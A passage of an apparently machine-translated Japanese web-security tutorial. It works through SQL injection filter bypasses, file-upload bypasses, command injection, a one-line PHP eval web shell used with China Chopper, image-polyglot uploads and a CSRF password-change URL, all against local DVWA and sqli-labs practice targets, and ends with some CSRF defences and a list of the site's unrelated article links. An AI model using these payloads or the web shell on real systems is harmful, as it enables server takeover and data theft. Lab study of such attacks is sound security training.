この記事に誤りがあったり、ご提案がありましたら、お気軽にご連絡ください。よろしくお願いいたします。 1. プログラマーは、コードを書くときに、Web インジェクションをブロックするために意識的に防御を設定したり、セキュリティ テストを実行したりします。 ブラックリストフィルタリング技術 1. SQL キー フィールド内の一般的なキーワードをフィルターします: and、or、union all select、引用符、スペースなど。フィルター処理ではなく、エスケープ関数を使用したり、不正なキーワードを削除したりする同様の手法もあります。 バイパス方法:
2. ファイルアップロードの脆弱性 インターネットを閲覧するとき、アバター画像のアップロード、ファイルのアップロード、動画のアップロードなど、ファイルのアップロード機能を頻繁に使用します。これは通常の機能であることはわかっていますが、アップロードされた後にサーバーがこれらのファイルをどのように処理または解析するかについて考えたことはありますか?アップロードされたファイルを処理する際にサーバーが十分に安全でない場合、次のようなセキュリティインシデントにつながります。サーバーが実行するWebスクリプトファイルをアップロードする
ファイルアップロードの脆弱性コア ファイルアップロード攻撃が成功するには、通常、次の 2 つの要素が満たされている必要があります。
コアの実装 - アップロードバイパス技術 一般的に、ファイルをアップロードする際に使用される検出手法は次のとおりです。
クライアント側検出バイパス(JavaScript 検出) このタイプの検出には通常、ファイルのアップロードを具体的に検出するアップロード ページの JavaScript コードが含まれます。最も一般的なのは、拡張子が合法かどうかを検出することです。このタイプのバイパスは非常に簡単です。 サーバー側検出バイパス(MIME タイプ検出) この検出はサーバー上で実行され、主なチェックはコンテンツ タイプ値 (ホワイトリストまたはブラックリスト) です。もちろん、このバイパスも簡単です。 サーバー検出バイパス(ディレクトリパス検出) この検出はサーバー上で実行され、通常はパスが正当かどうかをチェックしますが、少し特殊なパスについては防御策がありません。 たとえば、shell.php.[\0].png [\0], 123.php0x00.png の場合、0x00 は PHP および C 言語の切り捨て文字です。つまり、サーバーがファイルを読み取って shell.php の読み取り時に [\0] に遭遇すると、ファイルは終了され、shell.php として実行されます。 同様の投稿送信ファイルshell.php%00.pngもあります サーバー側検出バイパス(ファイル拡張子検出) 名前が示すように、通常はホワイトリストとブラックリストの防御を通じてファイル拡張子をチェックします。 1. ブラックリスト。たとえば、拡張子には html、php、php3、php4、asp、exe、bat、jsp を含めることはできません。また、ファイル名の大文字と小文字を区別しないため、AsP、pHp などのファイル名を使用してブラックリスト検出を回避します。
2. ホワイトリストはブラックリストよりも比較的安全ですが、必ずしも絶対的に安全というわけではありません。 (1)0x00切り捨てバイパス ホワイトリストファイルに属するtest.asp%00.jpgを切り捨てる方法を使用し、サーバーコードの検出ロジックの脆弱性を利用して攻撃します。現在、この脆弱性に遭遇したのは、aspプログラム+解析呼び出し/脆弱性バイパスのみです。このタイプの脆弱性は、コードインジェクションを含むホワイトリストファイルを直接アップロードし、解析呼び出し/脆弱性を利用して攻撃することができます。 (2).htaccessファイル攻撃 PHP マニュアルの move_uploaded_file セクションには、「宛先ファイルがすでに存在する場合は上書きされます」という警告があることが記載されています。PHP のセキュリティが適切に設定されていない場合は、move_uploaded_file 関数を使用して、サーバー上の .htaccess ファイルを独自のファイルで上書きすることができます。この方法では、解析リストを任意に定義できます。 サーバー側検出バイパス(ファイル内容検出) ファイル内容の検出をより厳しく設定すれば、アップロード攻撃は非常に困難になります。コード層での検出の最終段階とも言えます。これを破ると、コード層に脆弱性がなくても、後でアプリケーション層の解析脆弱性を悪用する機会をもたらすことになります。 (1)ファイルマジックナンバーチェックは、主にファイルコンテンツの先頭にあるファイルマジックナンバーを検出します。たとえば、jpgをバイパスするには、値 = FF D8 FF E0 00 10 4A 46 49 46 になります。 gif ファイルのマジックナンバー検出をバイパスするには、値 = 47 49 46 38 39 61 png ファイルのマジックナンバー検出をバイパスするには、値 = 89 50 4E 47 (2)ファイル関連情報の検出 getimagesize() 関数は、画像ファイル関連情報を検出するためによく使用されます。ファイル ヘッダー部分を偽造するだけで済みます。つまり、マジック ナンバーに基づいて、ファイル情報が追加されます。次の構造に少し似ています。 動画 (...画像用のバイナリデータ...) <?php phpinfo(); ?> (... 残りのバイナリ データはスキップします...) (3)ファイル読み込み検出 これは最も異常な検出です。一般的には、API または関数を呼び出してファイル読み込みテストを実行します。最も一般的なのは、イメージ レンダリング テストです。さらに異常なのは、二次レンダリングを実行することです。レンダリング/読み込みテストに対する攻撃方法は、コード インジェクション バイパスです。二次レンダリングに対する攻撃方法は、ファイル ローダー自体を攻撃することです。 三つ、 1. (1) 以下の対応するURLをコピーし、「URLの読み込み」をクリックしてから「実行」をクリックします。 (2)クロージャを構築し、データベース名dvwaを取得します。次に、前のルーチンに従って、システムがエラーを報告していることを確認します。エラーメッセージは次のとおりです。 システムが自動的に \ 記号を追加します。これは、構築された関数でエラーが発生したことを意味します。システムがコンストラクターに特殊記号を自動的に追加しないように、この現象を回避する必要があります。この場合、16 進コードを使用して文字列 dvwa を 16 進数 (0x...) に変換し、コンストラクターで単一引用符記号が使用されないようにすることができます。この時点で、システムはコンストラクターに特殊文字を自動的に追加しなくなり、コンストラクターが破壊されます。 (3)同様に、先ほど使用したSQL文を使用してデータを抽出します。 2. Less-25を例に挙げる (1) http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+ //エコーに従ってクロージャを構築し、database() をバーストします (2) http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name and table_schema = database()--+ //テーブル名 table_name、列名 column_name を公開します (3) http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+ //Blastデータ 要約: まず、閉じた入力を連続的に構築し、エコーを観察します。システムが「and」文字列と「+」(+はスペースバーに相当)をフィルタリングしていることがわかります。 次に、大文字と小文字を混在させた and を使用したり、インターレースで不連続な and を使用したり、and の代わりに && などの他の文字を使用したり (主な目的は and を使用すること)、16 進コードまたは urlencode 変換メソッドを使用したりできると推測します。同様に、単語 (information など) に出現する文字列 "or" や or にも上記のメソッドを使用できます。鍵となるのは、システムのフィルタリングを回避し、特定の目的を達成することです。 3. Less-26を例に挙げる and 文字は Less-25 と同じです。フィルター処理されるスペースは、%20 -- スペース、または TAB キーのエンコーディング、または改行キーのエンコーディングになります。 4. http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/ を例に挙げます。インターフェースは次のようになります。これは ping 可能なインターフェースです。 このインターフェースには脆弱性があり、ping中に接続シンボルを使用して他のアクションを完了することができます。入力バーに127.0.0.1 || pwdと入力すると、次の状況が発生します。 現在のファイルディレクトリがインターフェースに表示され、この脆弱性を利用して必要なデータを取得できます。ここでは「ワンセンテンストロイの木馬」について説明します。 エコー '<?php @eval($_POST[123]);?>' > 123.php [被害者に発見されないようにするために、他の形式の文章が「一文トロイの木馬」と一緒に使用されることもあります。 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php 4. ファイルのインクルードとファイルのアップロードを組み合わせて攻撃を実行する (1)http://192.168.122.130/DVWA-1.9/security.phpでDVWAのセキュリティを「低」に選択します。 Chinese Chopper を使用して次のコードを追加します: echo '<?php @eval($_POST[123]);?>' > 123.php その後、次のようにして China Chopper からディレクトリを取得できます。 (2)http://192.168.122.130/DVWA-1.9/security.phpでDVWAのセキュリティを「中」に選択します。 ブラウザプロキシを手動で設定する BurpLoader を起動し、キャプチャしたパケットの名前を変更します。 次に、「アクション」->「リピーターに送信」を選択し、「リピーターで実行」をクリックします。右側のウィンドウを確認すると、ファイルがアップロードされていることがわかります。China Chopper を開き、前の手順に従ってアクセスします。 (3)http://192.168.122.130/DVWA-1.9/security.phpでDVWAのセキュリティを「高」に選択します。 まず、画像がアップロードされているのがわかったら、アップロードされた画像が処理されている(文章トロイが追加されている)はずです。つまり、画像エンコードツール winhex を開き、エンコードツールに文章トロイを追加して、新しいエンコードされた画像を再生成します。 もちろん、cmd コマンドを使用することもできます: copy 1.png/b+123.php /a TCP.png。ここで、1.png は通常の画像で、123.php は文章トロイの木馬です。これらを TCP.png という名前の新しい画像に再構成し、アップロードすると成功します (上記の cmd が使用されます)。 画像をアップロードした後は、中レベルのようにキャプチャしたり名前を変更したりすることはできません。 Web サーバー側で対応するセキュリティ処理が必要です。 5. 異常なレベルに対処するためのアイデア: アップロード前とアップロード後に変更されていない部分を比較して観察し (バイナリ異常を通じて)、アップロードされたデータに特定の変更を加えて特定の目的を達成します。
6. CSRF: クロスサイトリクエストフォージェリ(Cookie 値の使用) 被害者を騙してリンクをクリックさせるためのURLを作成し、被害者のCookieを使用して被害者が知らないうちにパスワードを変更できるようにする http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change# 例えば、ハッカーが自分のアカウントのパスワードを使用してウェブサイトにログインし、パスワード変更インターフェイスをクリックして、パスワード変更 URL を作成します。ハッカーが攻撃を開始したい場合、被害者 (以前にブラウザを使用してウェブサイトにログインし、ブラウザに Cookie を保存している) に、以前に作成した URL をクリックするように誘導し、被害者に知られずにパスワードを変更します。ハッカーはこのパスワードを知っています。この時点で攻撃が成功すると、ハッカーは以前に URL を作成するときに作成したパスワードを使用して、被害者としてウェブサイトにログインし、一連の操作を実行できます。 現在の防御策の一部: 1. 防御のために認証コードを使用できます 2. パスワードを変更するために元のパスワードを要求するウェブサイト 3. 防御方法: ダウングレード時にリファラーなし ある Web サイトから別の Web サイトにリンクすると、新しい HTTP リクエストが生成されます。リファラーは、HTTP リクエスト内のソースを示すフィールドです。 4. 偽造防止メカニズムのトークンは、Cookie とは異なり、ほとんどの CSRF 攻撃をブロックできます (誰もが偽造防止コードを持っており、他の人はそれを推測できません。パスワードを変更する場合は、独自のトークンを使用する必要があります) - トークンは不規則である必要があり、できれば暗号化されている必要があります。 上記は、エディターが紹介した詳細な SQL インジェクション セキュリティ統合です。皆様のお役に立てれば幸いです。ご質問がある場合は、メッセージを残してください。エディターがすぐに返信します。また、123WORDPRESS.COM ウェブサイトをサポートしてくださっている皆様にも感謝申し上げます。 以下もご興味があるかもしれません:
|
>>: Centos7 から Centos8 へのアップグレードに関するチュートリアル (画像とテキスト付き)
現在、Nginx は、Web サービスを提供するために、Windows ベースの IIS と Lin...
データ整合性は、エンティティ整合性、ドメイン整合性、参照整合性に分けられます。参照整合性:参照整合性...
30 種類の高品質な英語リボン フォントを無料でダウンロードできます。デザイナーは常に、25 種類の...
簡単な説明これは CSS3 のクールな 3D キューブのプリロード効果です。この特殊効果は、シンプル...
robots.txt の基本的な紹介Robots.txt はプレーンテキスト ファイルであり、Web...
目次node.js+nvm+npm を設定するnpmスイッチタオバオミラーVue.jsをインストール...
1. MariaDB と MySQL の紹介1. MariaDB の紹介MariaDB は、MySQ...
MySQL 5.7 をインストールするには 2 つの方法があります。1 つはインストーラをダウンロー...
01. コマンドの概要Linux には充実したヘルプ マニュアルが用意されています。コマンドのパラメ...
最近、お客様から支援の依頼を受けました。管理されている通信コンピュータ ルームから、サーバーの 1 ...
目次序文文章1. stylelintをインストールする2. 設定ファイル3. stylelintを使...
MySQLの起動失敗の解決策MySQLを起動できませんmysqlを停止した後、いくつかの操作(ホスト...
序文ターミナルを使用してデータベースまたはテーブルを作成するたびに、文字セットが latin1 であ...
今日は、さまざまなブラウザでのデフォルト要素のマージン値が何であるかという問題について説明しました。...
<marquee> タグはペアで表示されるタグです。最初のタグ <marquee...